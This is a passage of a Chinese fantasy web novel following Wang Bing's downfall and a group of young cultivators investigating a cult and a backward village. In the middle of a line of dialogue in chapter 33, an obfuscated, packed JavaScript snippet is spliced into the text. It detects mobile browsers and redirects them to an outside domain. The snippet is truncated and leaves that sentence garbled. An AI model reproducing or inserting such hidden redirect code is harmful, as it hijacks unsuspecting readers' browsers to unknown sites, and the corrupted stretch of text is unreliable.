万念俱灰之际,一个纸团打在了他头上,惊醒了昏昏欲睡的王冰,他还以为是自己的死期到了,吓得一身冷汗,颤抖着打开纸团,只见上面是娟秀的八个字,字迹无比眼熟。 兔死狐悲,断饮绝食。 他恍然大悟,开始绝食,天天在牢里哭刘氏。 终于知县闻之动容,怪自己迁怒无辜,将女婿无罪释放,一年之后又为他指定了一位大家闺秀。 这个妻子可比刘氏贤惠多了,现在只有王冰给别人脸色的份,他可算扬眉吐气了! 真是大难不死必有后福,他没忘记自己的高堂老母和恩师月娜,心里还是想和月娜再续前缘的,他现在娶了一位贤妻,月娜只好委屈一下给他做个妾,从此自己娇妻美妾在怀,也算坐享齐人之福了。 派人去自己老家接母亲和月娜,但一无所获,原来破败不堪的屋子早已倒塌。 据说老太太已经去世了,那,月娜呢? 看到那幅蒙尘的红梅图,王冰一时泪眼婆娑,轻轻擦去表面的灰尘。 此一生是我负你,来生做牛做马再报大恩。 从丧母之痛和失去所爱的悲痛中走出来后,他开始在妻子的鼓励下享受生活,他受了那么多年的苦,这些都是他应得的! 说来也怪,以前他穷苦时没有一个朋友,现在却忽然多出好多的铁哥们,不过这些好友太过热情豪爽了些,隔三岔五要轮流在城中最大的酒楼请客,这倒也没什么,但天擦黑的时候大家又转换了阵地,从酒楼到了烟花柳巷。 王冰第一次来这种地方,不由脸红心跳,两只眼睛不知该往哪儿看,只能局促地盯着自己的鞋面,几次三番告辞都被朋友们拦住。 欸,别扫兴嘛。 王兄这般清高,哪能跟我们一样,要不王兄你坐着听听小曲也好啊。 那就听听曲子,无伤大雅。 一来二去,他成了销金库的常客,从一开始的听曲渐渐放宽限制,开始跟姑娘们喝酒、划拳,某次喝醉了被人扶着进了一个花香四溢的房间里,如同做梦般飘飘欲仙,再醒来时,看着身侧的温香软玉,有什么东西不复存在了…… 五年之后,王冰是在酒楼里被套上枷锁的。 他醉眼迷蒙,指着一干衙役大放厥词:“混账东西!你们可知我是谁吗?” “嘿嘿,您不就是大名鼎鼎的王秀才嘛,抓的就是你!跟我们走一趟吧!” 刘氏之死真相大白,原来是王冰伙同一干奴才在安胎药中动了手脚。 本来大家都守口如瓶,觉得除了一个母夜叉好日子就来了,谁知江山代有人才出,王冰染上酒瘾赌瘾之后对下人的打骂变本加厉,甚至还不如刘氏在的时候。 知县勃然大怒,将一干恶奴乃至王冰判了秋后斩首。 王冰披头散发,再无翻身的可能,终于坠入了地狱之底。他抱着枯草迷迷糊糊地睡着,又看见了年少时的自己,冒着大雪回家,怀抱着热腾腾的梅花糕,自己的衣服都打湿了,嘴唇冻得发紫。 可是门一敲开,看见的却是一张明媚动人的笑脸。 哥!你终于回来啦!哟,这还带了礼物呢,让我看看是什么…… 慢点吃小馋猫,等咱家的日子过好了,哥天天给你买好吃的,还要给你买一柜子的新衣裳。 哼,大话说得这么满,就怕你到时候想不起来我了。 你这丫头!好,若是我王冰有违此誓,就让我项上餐刀,不得好死! …… 32. 大师兄与紫霄剑 鸢歌,芙蕖观。 身着白道袍的年轻男子手执长剑,舞动之间翩若游龙,他几乎不睁眼,全凭感觉,剑刃却能接住空中飘落的片片落花。 后山一般是没有人来的,清晨的松脂香被微风送入鼻腔,空山鸟鸣声声,显得越发寂静,只剩下剑刃破风的萧萧嗡鸣。 可是没过多久,这份静谧就被某人强势打断了。 “大——师——兄——” 中气十足的声音在山间回荡,惊起鸟雀四散飞离,独孤叶晴转身,睁开了寒霜凛冽的双眸,目光落在了正在山道上朝自己奔跑而来的一抹浅橙色身影上,仿佛是一缕投射进山林的灿烂日光。 “大师兄!我就知道你又躲这儿来了!” 慕容纤两手叉腰站在他面前,鬓角沁出细密的汗珠,显然又是一路从山下跑上来的。 独孤叶晴垂在身侧的手微微一动,最终弯腰拿起了石台上的剑鞘,还剑入鞘坐在了青石上,但留出了大片的空隙。 慕容纤想也没想就坐在了师兄旁边,她盘起双腿跟童子坐禅一样,身子摇摇晃晃。 独孤叶晴微不可察地瞥了她一眼,随即移开了目光看向远处云雾缭绕的峰峦,云海中一线浅金色晕染开来,太阳快要升起了。 “无事不登三宝殿,是不是又闯祸了?” 慕容纤一拍手,惊奇地瞪大眼睛:“师兄你神了,你怎么猜到的?” 独孤叶晴未至一词,慕容纤滔滔不绝地讲了起来,讲到自己在王家老宅遭遇鬼新娘袭击时,独孤叶晴原本气定神闲的面容顿时紧绷起来。 “可有受伤?暮雪也是,怎么能让你一个人去那么危险的地方?” 他的手指微微蜷缩,随即低下了头,似乎意识到自己说话欠妥:“别再偷偷下山了,你功力尚浅,好好修行才是正经……” 慕容纤两只手搭在了他膝盖上,面露哀求:“我知道了师兄,但是现在火烧眉毛了,我的紫霄剑让女鬼给糟蹋完了,万一师父问起来我肯定吃不了兜着走,师兄再发发慈悲救我一次!” 慕容纤掌心的温度透过衣料渗入了他的皮肤,这温度似乎还在上移,独孤叶晴轻轻撤开自己屈起的膝盖,原本踩在青石边沿的脚落在了地面上,慕容纤却没有察觉异样,双手合十继续祈祷。 “师兄,拜托了拜托了,我保证这是最后一次!” 独孤叶晴清咳两声:“你每次都是最后一次……罢了罢了。” 他手中灵光一闪,掌心出现了一把古朴长剑:“先拿着应急,紫霄剑等我修好了再给你,若师父问起就说被我借走了,其余你不用管。” 慕容纤喜不自胜地接过独孤叶晴手里的剑,由衷感叹道:“谢了啊师兄,你真是比亲哥都靠谱。” “没事了就回去休息吧,这几天累坏了吧?” “不用,不知怎么的看见师兄好像就不累了,离晨课还有一段时间,我们再聊会儿。” “好。” …… 是夜,慕容纤散步回来看见藏书阁的灯还亮着,以为是谁临走时忘记熄灯了,刚走进去就发现独孤叶晴还端坐在桌案后,手里奋笔疾书。 “师兄,干什么呢?” 慕容纤走了进来,她最讨厌写字了,因为经常被师父罚抄,写得手腕疼看得眼睛疼坐得浑身都疼,所以看到师兄在抄东西,也懒的去看那些内容。 独孤叶晴不动声色地拿一张白纸盖上了抄写的内容,抬眸看向她,淡淡地解释道:“心里有些烦乱,写写字静一下,你呢?这么晚了为何还不休息?” 慕容纤伸了个懒腰:“马上就回去了,看到藏书阁没熄灯进来看看,师兄你早点休息啊,我走了,明天见。” 说着她转身挥挥手离开了。 “嗯,明天见。” 独孤叶晴看着她的背影消失在门口这才又将目光落在眼前的书页上,山规密密麻麻罗列其上,一天之内要抄写两百遍除非彻夜不眠。 孤灯静静燃烧着,室内只剩笔尖落在纸面上的沙沙声,直至清晨,他将抱起来几乎高到鼻尖的一摞纸送进师父的书房,过了大概一盏茶的功夫里面老者责备的声音才停止,独孤叶晴拿着一把完好的紫霄剑轻轻退出师父的书房,恭恭敬敬地合上门,抬脚往后山走去。 这个时候,距离晨课还有一段时间,太阳还未升起。 花开两朵各表一枝,再说林瑶,自从夏明钰逃走后她几乎是日以继夜地寻找,但是一无所获。 一个雨夜,夏明钰坏事做绝终于被一个老道给收拾了,林瑶哭得死去活来,郁霄不知何时赶到,他本来打着伞,看见林瑶瘫软在地立刻丢掉伞将她抱在怀里:“事已至此,你要保重身体。” 林瑶本就元气大伤,悲痛过度竟晕了过去,郁霄抱着她上了马车,看着她憔悴的面容轻叹道:“分别短短数日,你就把自己弄得这副样子。” 车夫问道:“殿下,先送林姑娘回夏府吗?” 郁霄看了看怀里的清艳女子,淡声道:“她身体虚弱,禁不起颠簸,回王府别院吧。” 林瑶醒来看见床边坐着一个人,她头昏脑热的还以为是星辰宫,岂料眼前一切富丽堂皇,再看郁霄,身着玄色蛟纹服,头带狮面金冠,显然是刚从凤城回来就遇上她了。 林瑶撑着床坐了起来:“这里是……” 郁霄微微侧首道:“我家,你病得厉害,情急之下只好……现在感觉如何了?” 林瑶胡乱点点头,这才发现自己的道袍不知何时换成了一套干净的水绿色衫裙,这是最近时兴的凡间女子的衣裳样式。 林瑶还没说话,郁霄已经站了起来,吩咐道:“来人,照顾好林姑娘,不可怠慢。” 四个一般个头的小丫鬟鱼贯而入,齐齐娇声应是,郁霄出去以后,其中一个小丫鬟道:“姑娘有何吩咐?” 林瑶现在脑子非常乱,只记得自己没能救下夏明钰,胡乱问道:“现在什么时辰了?” “回姑娘,您已经昏睡四个时辰了,现在是巳时。” “……世子回来就一直在这里?” 小丫鬟道:“殿下的事奴婢不敢乱说,姑娘还有什么要问的吗?” 看来关于郁霄的事情是不能指望这些小丫鬟回答她了。她惊奇地发现,这四个小丫鬟除了衣服颜色不同,面容长相居然一模一样,惊讶道:“你们是孪生姐妹?” 其中一个小丫鬟笑嘻嘻道:“是啊,我们长得很像吧?除了殿下没人能分清我们谁是谁。” “姑娘的衣服已经浣洗了,可巧今天是阴天还未晾干,姑娘先将就一下吧。” “这衣服是哪儿来的?” 这衣裙明显是一个少女的,可是郁霄没有姐妹,匆忙之中居然能给她找到换洗衣物。 “这是殿下打算送给四公主的生辰礼物,先拿出来应个急。” 林瑶笑道:“殿下真是抬举我了,送公主的礼物怎好给我穿呢?” 小丫鬟们对郁霄的行踪不清楚,或者是讳莫如深,可是却知道一件衣服的来龙去脉,显然是被人授意的。 夜半三更,林瑶悄悄离开王府,跟踪那个老道士,发现自己弟弟确实已经没有任何气息了,又忍不住伤心起来,老道士去鬼市喝醉了,林瑶本想偷偷拿走他的镇邪葫芦,却在包里还发现了一张悬赏令。 “三足金乌?这是谁与我姐弟二人过不去?” 林瑶回到王府,又看见了那四个一模一样咯咯娇笑的小丫鬟,个个长得粉雕玉琢,林瑶笑道:“世子不在家吧。” 小丫鬟们一如既往回答不知道。 你们不知道我知道。 林瑶温声道:“你们不是说除了世子没人能分清你们吗?胡说八道,我就能分清。” 一个小丫鬟道 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小丫鬟眨着大眼睛,眸中闪烁着诡异的光芒:“您没有说不可以啊。” 林瑶道:“不用猜了,你是娇娘。” 娇娘还没意识到自己是个话痨,气呼呼地转身退到一边,随后又笑嘻嘻道:“这样吧,我们换个玩法,我来给姑娘出题怎么样?” 林瑶甚觉新奇:“好啊!” 四个人嘀嘀咕咕半天,最后各自亮明了身份,真是,的确是给林瑶出了道“难题”。 玉娘道:“娇娘没有拿茶叶。” 娇娘道:“十娘拿的是热水。” 十娘道:“丽娘拿的不是井水。” 丽娘道:“玉娘、娇娘、十娘中有一个人拿了热水,只有我和她说了真话。” 林瑶假装沉吟了一会儿,给小姑娘们一点面子,毕竟这种游戏从小尹星灯就教她玩,屡试不爽啊! “玉娘拿的是热水,娇娘是冰块,十娘是茶叶,丽娘是井水。” 娇娘脸色忽变:“你……不可能……” 林瑶一拱手:“承让了,我想看看你们的奴契。” “奴契不在她们手上。” 林瑶一回头看见郁霄站在自己身后,郁霄抬手让丫鬟们退下,温声道:“林姑娘若是好奇,我可以带你去书房一观。” 林瑶笑道:“其实鬼市的阴仆出售前都会在手臂上盖一个店主的印章,殿下不知道吧?” 郁霄脸色发白,但依旧谈笑自若:“用的顺手便是,我不大在意这些。” “为何不找几个活人使唤,殿下这般委屈自己,倒让林瑶觉得心酸。” “活人的心思太多,哪像它们,最多不过是耍耍心眼吸我几滴血而已,在家里,我还是想好好休息一下……林姑娘对这些阴仆的来历感兴趣?” 林瑶转过头,语气陡然变冷:“殿下在鬼市买过不少东西吧,你自然不用亲自去,可是免不了有粗心的燕卫把你的印纹落下,我刚好捡到一张,殿下看看是不是你的?” 她转身手里拿着一张红叶纸,只展开一个角,露出一方三足金乌的印纹。 郁霄端详了半晌:“的确像是我的,不过我的玉印丢过一次,我想着既然是在鬼市丢的,找到便是,懒得去追查丢失的那段时间发生过的交易。” 林瑶笑了:“真的好巧,偏偏你的玉印丢过,如此说来此事跟你毫无瓜葛了。” 郁霄:“你说的我一头雾水,究竟是什么事?” 两人僵持不下间,一个少女声音传入院子,苏潋影扒着门框探进来一个脑袋,朝他们招招手:“瑶瑶姐你们快来!白洛溪抓住了一个水鬼!” 33. 南宫问瑶 披头散发、浑身湿透的中年男人被人一脚踹倒在地,白洛溪拍拍手上的灰尘,倨傲地扬着下巴,眸中绿芒乍现。 “说,以前坠河失踪的那些姑娘,被你带到哪里去了?” 蜷缩在地上的男人被踹的不停地吐出发绿的污水,苏潋影看着眼前场景微微蹙眉,脱口而出道:“半妖?怪不得能潜伏在水底那么长时间。” 郁霄紧捏着手中折扇,骨节泛白,一甩袖子似乎对这个打死不开口的半妖彻底失去了耐心。 “没用的,这种人一看就是死士,被雇主彻底控制了的,可能父母妻儿都在别人手上,就算打死他也不会轻易开口的。” 苏潋影托着腮无奈地陈述事实。 白洛溪朝她伸手:“苏苏,你家不是擅长炼制蛊毒吗?你有没有随身带着?” “啊?”苏潋影不可置信地看向白洛溪,“你不会要给他用吧?会死人的!” 郁霄也看向了这两人,眸色微沉,也向苏潋影伸出手:“苏姑娘若是不忍,让我来,此等恶徒为虎作伥,死又有何辜。” 苏潋影左右看看这两人,挥手打开了他们两个伸出的手,冲到那个死士面前语重心长道:“你也看到了,你现在怎么着都是个死,就算死里逃生回去了,你雇主为了以防万一肯定不能留你,我们是去救人的,不是去灭口的,说不定到时候连你家属一块儿救了啊!” 那死士别过头往地上啐了一口绿水:“老子凭什么相信你?” 苏潋影轻笑:“就凭我现在跟你是一个阵营的,你可以绑了我去见你雇主,接下来的就不用你管了,怎么样?” 死士脸上的表情僵住了,半晌才面露惊恐道:“你疯了?你可知那是什么地方?就算你们三人都去了,也是有去无回,死无葬身之地,尤其是你,”他微微泛着绿光的眼眸死死盯着苏潋影,一字一顿道,“他们会喝你的血、吃你的肉,连骨头渣子都不剩。” 苏潋影凝眉深思:“食人族?” 死士冷笑,眸光颇带些揶揄地看向苏潋影嫩到似乎能掐出水的脸蛋:“真是蠢得令人发笑,小娃娃,还是回家多吃几年干饭再出来行侠仗义吧,那地方不是你该去的,我也不会出卖我的雇主,要杀要刮悉听尊便。” 好嘛,一整个滚刀肉,软硬不吃油盐不进。 苏潋影气得抓心挠肝间,林瑶走了出来,淡声道:“让我来吧。” 苏潋影抬眸看她,深感意外,怎么看林瑶也不像是会刑讯逼供的人啊。 林瑶朝其他人微微颔首:“还请三位先移步前厅稍等片刻。” 苏潋影等人在外面等着,不多时里面传来了男人压抑的哭声,苏潋影高高挑起一边的眉毛,不一会儿林瑶脚步匆匆地出来了,面带犹豫道:“他们的总舵血衣教在蓝羽村,此人说他们只负责抓走那些落水的女子,以河神传说掩人耳目,实则是偷偷运往了雾山下的蓝羽村,具体血衣教的人拿这些女子做了什么他们也不清楚,现在出发吗?” 众人皆是神色凝重,郁霄道:“事不宜迟,我去准备马匹,马上出发去蓝羽村。” 在这个空当里,苏潋影实在按捺不住好奇心偷偷捅捅林瑶的胳膊肘:“瑶瑶姐,他怎么就突然肯吐露实情了?” 林瑶笑得圣光普照,很是习以为常道:“人性本善,即使是犯了再大的错误,只要还有悔过之心,都值得被宽恕,而且我一直认为,只要不是为了一己之私所犯的错误那或许值得我去救赎。” 苏潋影恍惚了一下,总觉得这场面有种似曾相识的恐怖。 林瑶回头瞥了一眼关押那死士的院子,微微蹙起了眉:“虽然他真的很该死吧,掳走了那么多无辜女子,但为了套出话,我只能先昧着良心善意地欺骗他一下了。” 苏潋影彻底傻了,不是,我刚还以为你是朵纯洁无暇的白莲花,原来是黑芝麻汤圆啊姐姐! 苏潋影晕乎乎跟着汤圆……是跟着林瑶出了别院。 一路无书,一行人到了雾山脚下的蓝羽村。 洛河的下半段将富饶的凤城与这个看起来贫穷落后的小村子隔绝开来,离村子还有百里,道路如同羊肠,崎岖狭窄,只容一人通过,五个人只好弃马步行。 到了村口天已经黑了,村子的全貌也出现在眼前,入目几乎全是灰蒙蒙的土坯墙,残损的瓦片挂在屋顶,路面高低不平,大片的积水聚集在地上,往远处看,三面环山,黑压压俯视着整个村子。 林瑶环视一圈,自言自语般轻声道:“风水太差了。” 郁霄苦笑道:“岂止是差,山穷水恶,这村里的人坚守着祖宗的土地不肯搬出去,后来年轻人渐渐被官府劝活络了心思,萌生出想要离开的念头,谁知却被村长等人察觉,强行驱赶了凤城派去的官员,那些年轻人受了极重的惩罚,此事也不了了之。” 楚纤茉听得毛骨悚然,握紧了苏潋影的手,问道:“怎么还有这样顽固不化的村子,凤君不怕他们造反吗?” 郁霄摇摇头,脸上的笑意愈发苦涩:“家父何尝不忧心忡忡,只是,法难责众投鼠忌器,说来惭愧,至今都没有妥善解决蓝羽村的问题。” 一行人边说边走进入了蓝羽村。 林瑶似有所悟道:“以前听我师父说,玄都以北有个黑狗村,似乎也是愚昧闭塞,村子里的一些老人食古不化,极难管束,不知后来是怎么处理的?” 郁霄摇摇头,神色愈发凝重:“这些事都属于秘史,皆被万仙盟和当时帝都掌权者压下了,我说出来几位藏在心里就好,不然恐给几位招来灾祸。” 见众人点头应允,郁霄才深吸了一口气,黯然道:“九百年前,有个年轻修士奉师门之命去黑狗村阻止当地淫祭,这村子里有一种邪术可以压制修士灵脉,无疑,此人羊入虎口,被百般折磨,剜眼拔舌、钢针缝住上下嘴唇、最后以铡刀斩首,此人死后怨气难消化作凶煞厉鬼屠了整个村子,男女老少,无一幸免。” 三个姑娘已经是脸色惨白,尤其是林瑶,这跟她了解的版本不一样,尹星灯给她讲这些事情时,总是会避开过于血腥残忍的情节,这般用心良苦也不知是好事还是坏事。 “后来呢?屠村到底是十恶不赦、罪孽深重之事,那个修士怎么样了?” 不知是谁问了一句。 郁霄道:“这修士已死,乃是阴灵,若是再受天罚必然魂飞魄散,但据我所知,关于此案,最终被带上凌云殿受罚的不是阴灵而是一个惊鸿期女修,最后被大司命判了抽筋剔骨之刑,罚入孽镜台十世轮回,生生世世命格凶恶,无福无禄枉寿长,几乎是绝境求存。” 众人皆是心情沉重,楚纤茉更是触景生情,命格凶恶、绝境求存,自己又何尝不是如此。 苏潋影捏紧了她的手,用只有她一人能听见的声音道:“不是你,这么凶残的命格你根本扛不住。” 听了后半句,楚纤茉原本要夺眶而出的泪水硬生生凝滞在了眼眶里。 谢谢,真的有被安慰到。 苏潋影笑嘻嘻在她脸上亲了一下:“就算你是天生的倒霉蛋,但你还有我这个幸运星在旁边啊,咱俩中和一下,算是不好不赖,阴阳调和了,凑合着过一辈子吧。” 眼看天已经黑了,狂风骤起,天空更是阴云密布,郁霄瞥向几家点起灯的农户,然后看向身边众人:“天色已晚,谁比较有亲和力一点,去给咱们借个宿?” 苏潋影忙举小手:“我我我!” 楚纤茉也表示想去。 郁霄微笑着点头,两人兴高采烈地去了,不一会儿让农户们骂得跟三孙子一样垂头丧气地回来了。 “他们好像不太欢迎我们这些外乡人。”楚纤茉低垂粉颈,低声汇报自己遇到的情况。 苏潋影脸色奇差:“岂止是不欢迎啊,我再说两句都快放狗撵人了,一群刁民!” 正说着,忽然之间天空打了几个闪。 苏潋影抬头,瞅着宛如银龙腾舞的天空一脸菜色:“不是吧?” 倾盆大雨呼啸而至,不一会儿五个人都成了落汤鸡,这可真是屋漏偏逢连夜雨,更惨的是连个躲雨的地方都没有。 林瑶用湿漉漉的袖子抹去满脸冰冷的雨水,勉强睁开眼睛环顾一圈,指向村西头高处一座建筑:“去那里吧,好像是个祠堂。” 等跑到祠堂时个个顺着下巴滴水,冻得直打哆嗦。 白洛溪倒是见怪不怪,毕竟他水陆两栖,经常搁水里泡着,见苏潋影浑身湿透了,于是体贴地脱了自己的长衫想给她披上,被对方言辞激烈地拒绝了。 “谢谢!不穿蛇皮!更何况湿漉漉的蛇皮,你要是真关心我,好歹生个火啊。” 白洛溪尴尬地挠挠头:“你这不是为难蛇嘛,我最怕火了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16489966|185807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哪里会生火啊。” 苏潋影将目光锁定了郁霄,对方也是一脸无奈:“实在不好意思,在下只会一点粗浅拳脚,没有喷火吐水的本事,现在也找不到引火之物,就算有,不好意思我没带火折子。” 林瑶也难为情地垂下头:“不好意思苏苏妹妹,师父还没教我五行转化之术,要不我把魂灯拿出来先照个亮吧……” 苏潋影泄气地坐在地上。 我方阵容看似强大实则一帮low货,就这还征缴血衣教呢? 想到这里不禁长叹一声:“奈何我的属性都点攻击上了,好羡慕裴道长那样的符修啊,画的符咒用来驱鬼厉害,没事还能拿来改善生活……我以后一定要当符修。” 楚纤茉坐在她身边,脑袋无力地靠在她肩膀上:“别说公鸡了,我好饿啊……” 苏潋影忽然灵光一闪,从挎包里拿出一只湿漉漉的小红旗插在地上开始默念。 天灵灵地灵灵,保佑这离火旗还能用啊。 呼啦一声,离火旗着了起来,火焰腾腾映亮了每个人的脸庞,苏潋影感动地都快哭出来了,都泡得滴水了、都泡烂了居然还能用,早知道多坑某道长几张了,实在是居家旅行必备好物啊! 她这厢一脸动容谢天谢地呢,旁边的醋坛子都快发酵了……白洛溪冷冷瞥了一眼中间熊熊燃烧的离火旗:“哼,有什么可厉害的,有本事着一晚上啊。” 于是众人的衣服都烤干了,那面巴掌大的旗子还在发光发热,仿佛一只傲娇的小火鸡……就离谱! 借着火光映照,众人看清了这是一座庙宇,神龛上供奉着一只三青鸟雕塑,泥塑惟妙惟肖,青鸟有三首,中间一首微微阖着双眸,看起来有些悲天悯人,左右两首却怒目横眉,大张着嘴,脖颈上青羽倒竖,看起来颇为凶残。 苏潋影看着那只青鸟有些摸不着头脑,越发觉得这个蓝羽村有点邪性,不供王母供青鸟,长这么大没听说过。 苏潋影将目光从雕像上挪开,打量身旁的林瑶,实在无聊就胡扯八扯起来了。 “瑶瑶姐,你师父真的那么十恶不赦嘛?” 正在盯着火焰发呆的林瑶这才回过神来,她垂眸淡然道:“也没有吧,师父不钻牛角尖的时候还是挺好相处的。” 苏潋影一点点凑近了她,双手托腮摆好了听八卦的姿势:“那你为什么还要跑?” 家丑不可外扬,林瑶压根不想跟外人提起,再三搪塞,奈何苏潋影死缠烂打,无奈只好含蓄委婉道:“这么说吧,我师父他想换个身份继续陪在我身边……” 苏潋影一拍大腿:“我懂了,他觉得当师父没有亲和力,想跟你拉近距离,他想当你干爹对不对?” 林瑶攥紧了拳头,感觉眼前一黑,忍着想吐血的冲动继续委婉含蓄道:“不是啊……他若想当我义父也不是不可以,我纳头便拜。” 苏潋影见她支支吾吾,越发觉得里面有惊天大瓜,无法抑制地刨根问底:“那是什么,他想当你叔?想当你三姑?” 林瑶痛苦地按住突突直跳的太阳穴,求饶般冲她拱手作揖:“别猜了,我这么跟你说吧,假如我现在有个孩子,我师父想让这个孩子管他叫爹,管我叫娘……” 苏潋影托住了自己惊掉的下巴,防止掉地上:“就是他看上你了呗,那你绕这么大个圈子干嘛?” 林瑶玉面通红,几乎将脸埋进了膝盖里,闷声道:“我难以启齿……” 苏潋影若有所思:“这是师徒恋啊,你师父思想还挺前卫的,要放在青澜宗、九云府那些保守的门派,这会儿你都成为众矢之的了,你师父都该拉出去枪毙了。” 林瑶弱声辩解道:“什么啊,我还没答应呢……” 苏潋影点点头,重新下了定义:“那就是恋徒癖,骚扰女弟子也不行啊,你等会儿写封匿名信,我家里有人,上呈万仙盟凌云殿,你师父高低得判几年,等他刑满释放,你都已经嫁人了,都儿女双全了,他也掀不起什么风浪了。” 林瑶想象了一下觉得还是不敢想象,太恐怖了,这计划施行到第一步她的好日子就到头了,尹星灯怕是会跟她同归于尽吧。 她们两人在角落里聊天,楚纤茉忽然惊叫一声迅速躲到了苏潋影身后,脸埋在苏潋影后背上,一手指着窗户颤声道:“外面有人在看我们……” “谁在外面!” 34. 她是修士 郁霄已经站了起来,眸光凛冽盯着楚纤茉所指的方向,厉声喝问。 那扇窗户的窗纸已经破旧不堪了,很久没有人修理,就在苏潋影和林瑶聊天,其他人累了好几天昏昏欲睡之际,楚纤茉看到了一双发红的眼睛直勾勾地望着自己,黑色的瞳孔贼里贼气地上下转动,仿佛下一秒那双眼球就能从窗纸破损的窟窿里掉下来。 白洛溪已经动手了,不消片时将外面那偷窥的人带了进来,那人约莫三十出头,是个青壮年,身着粗布麻衣,诚惶诚恐地跪在地上,连连作揖道:“几位仙师仙姑,小人刚在外面看到你们施法点火,真是道行高深啊,几位神仙降临我们村,怎么能在祠堂里待着,如果仙人们不嫌弃,请到小人家里去住吧,也算是小人家里沾光了。” 他边说话,眼睛边在林瑶等人身上瞟,尤其是看林瑶的眼神,恨不得将眼珠子抠下来粘人家身上,郁霄似乎有所察觉,不动声色地挡在了林瑶前面,微笑道:“在下是凤城人士郁霄,跟蓝羽村同属一隅,跟几位同窗好友路过此地却逢大雨,既如此多谢老乡盛情邀请,那我们就恭敬不如从命了,请。” 他左手微抬,示意对方带路。 此时雨已经停了,大概是二更天,那村夫提着一盏发白的纸灯笼在前面引路,其他人警惕地跟在后面。 郁霄走在最前面,跟那村夫闲聊,谈笑自若仿佛在跟一个阔别多年的朋友说话。 “老乡贵姓啊?” 那人嘿嘿笑了两声,过分的谦卑就显得有些谄媚:“郁公子客气了,我叫田二,我们这村里啊,好几家都姓田。” 郁霄道:“老乡家里还有什么人啊,我们这一行人贸然过去会不会打扰了?” 田二道:“不打扰不打扰,我家人少,只有我爹娘、我哥田大、我嫂子陈子桁、我、还有我九岁的侄女田翠翠。” …… “你管这叫家里人少?”苏潋影忍不住追问。 而且总觉得有个地方很违和,你嫂子的名字跟你们一家人比起来显得很是清秀,很是格格不入。 田二笑嘻嘻地回过头瞄了一眼苏潋影,眼神下移落在了她尚未完全发育的胸部,咽了口唾沫,这丫头虽然身材没有那个白衣姑娘好,但脸蛋真是要人命,声线也撩人,一开口蜜里调油跟小猫撒娇似的…… “田叔?”苏潋影一嗓子将正在做梦的田二喊回了神。 “哦哦,姑娘有所不知啊,我们村人口繁多,像村长家,有二十七个人呢,光半大的孩子就十四个,我家这情况已经算是人丁稀少了。” 十四个?苏潋影感觉常识被狠狠地颠覆了,她家一共就两个女儿她娘还天天嚷着生多了,当然她是多余的那个……但是这个村子也太离谱了吧! 十四个,孩子喊一声妈我得回头排查半天到底是谁叫的…… 郁霄的面色越发阴翳,但依旧笑问:“村里生齿日繁,不知何以为继?” 田二显得有些纳闷,但还是回答道:“娶老婆不就是为了生娃嘛,娃多了才好下地劳作、放牛放羊,这村里也就我嫂子肚皮不争气,过门五年了儿子都没生一个……” 田二似乎意识到自己说的太多了,连忙赔笑道:“瞧我,扯这些老婆舌做什么,前面就到我家了,快请进。” 田家跟这村里大多数人家一样,是独立的大院子,有正屋、左右厢房,厨房、仓库。 此时村里也就他家灯火通明,进门时拴在门口的黄狗狂吠不止吓了楚纤茉一跳,那狗似乎想在主人面前立功,冲着一群陌生人跳着脚地吼、转着圈地叫,田二脱了鞋刚举起来这位威风凛凛的家将就夹着尾巴顺着篱笆墙挨进了一只破木箱子里。 楚纤茉捂着自己的胸口被苏潋影拉着进了屋子里,见到了所谓的田老头、田老太太以及陈子桁和田翠翠。 这陈子桁的确有些与众不同,一头乌发在脖颈后打了个结绾成低垂髻,没有任何首饰,一袭青灰色的长衫洗得有些发白了,罩着高挑纤细的身姿宛如寒竹独立,淡淡的没有一丝热乎气,说是人看着更像一个女鬼。 大家见过面,道了叨扰,陈子桁和田翠翠去了厨房,不一会儿端上来了热气腾腾的饭菜。 中间是大盘鸡,色泽金黄,香气四溢,土豆煮得软烂,黄灿灿略带焦边的花卷儿半浸在浓稠的汤汁里令人垂涎欲滴,围绕着大盘鸡的是四碟子农家小菜,什么酸菜粉条、麻婆豆腐、腌萝卜和凉拌丝瓜。 陈子桁先替客人盛了白米饭,给郁霄和白洛溪放在了手边,给林瑶等人递到了手里,轮到苏潋影时,她冲陈子桁一笑,道了声谢,然后就感觉米饭碗底似乎有什么东西,好像是一张纸条。 陈子桁给所有人盛完饭就带着田翠翠离开了,苏潋影注视着她离去的身影,心里纳罕。 太奇怪了,陈子桁的一举一动、走路姿势、还有那种淡漠如霜的眼神,都不像是一个乡间农女,甚至说是书香门第都不能够,在她身上,苏潋影能感觉到一种很熟悉的气息。 修士,陈子桁八成是一个修士,或者曾经是。 苏潋影手一颤,差点没端稳手里的饭碗,饭桌上田家三口和蔼可亲的面容在她眼里瞬间阴邪狡诈了起来。 这到底是个什么样的村子,用了什么手段把一个修士困在了这里? 无论田家三口怎么劝,苏潋影等人始终没有动中间的鸡肉,手里死死捏着陈子桁给的纸条,直到一顿饭毕,纸条被汗水打湿。 田二眉间一股阴郁之气,但看向客人时还是堆着笑:“几位早些休息吧,我家就三间能住人的屋子,但是爹妈年纪大了和其他人睡不习惯,让翠翠和我爹妈睡,郁公子、白公子和我、还有我哥睡东厢房,三位姑娘和我嫂子睡西厢房。” 这个安排看似很合理。 郁霄拱手道谢:“那就叨扰了,田兄请。” 农家基本不睡床,而是盘的土炕,几乎占了屋子的三分之一。 苏潋影看了这能睡下三四个人的、据说叫做炕的东西才茅塞顿开。 “我说嘛,床上撑死也就睡两个人,我还以为要给我塞柜子里呢。” 她脑子里是没有打地铺这个概念的,但记得小时候经常跟小丫鬟们玩捉迷藏,她就喜欢躲柜子里,躲着躲着就睡着了。 陈子桁正在铺床,将田大躺过的被褥一股脑儿卷起来搁在了柜子上,然后重新铺了崭新的被褥,语气淡淡地招呼林瑶等人上来休息。 她又下去插上了门闩,推过去衣柜挡住了门,熄了灯才爬上炕。 陈子桁睡在最外面、她旁边是苏潋影、然后是楚纤茉、最后是林瑶。 